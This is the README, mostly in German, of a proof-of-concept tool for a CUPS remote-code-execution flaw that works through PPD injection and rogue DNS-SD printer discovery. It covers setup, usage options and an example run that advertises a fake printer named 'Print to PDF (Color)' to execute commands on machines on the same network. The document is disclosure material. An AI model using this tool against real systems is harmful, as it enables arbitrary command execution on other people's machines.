
Schneller Proof-of-Concept für einen aktuellen CUPS-Exploit, der Remote-Codeausführung über PPD-Injection und DNS-SD-Druckererkennung ermöglicht. Führt beliebige Befehle auf verwundbaren Unix-Systemen aus.
Schneller Proof of Concept für den aktuellen CUPS-Exploit. Ich hatte vor, das Ganze noch viel mehr aufzuräumen, aber die Embargo-Frist wurde viel früher aufgehoben als erwartet, daher ist der Code etwas überstürzt.
Für alle technischen Details solltest du ehrlich gesagt einfach Evilsockets Writeup lesen.
Dieser Exploit wurde geschrieben, nachdem dieser Commit im öffentlichen OpenPrinting-CUPS-Repository entdeckt wurde. Es gibt wahrscheinlich sauberere Injektionspunkte.
Dieses PoC verwendet die dns-sd-Druckersuche, daher muss das Ziel in der Lage sein, die Broadcast-Nachricht zu empfangen, d. h. sich im selben Netzwerk befinden.
Der Exploit verwendet zeroconf und ippserver, die beide per pip installiert werden können.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
Zum Beispiel:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3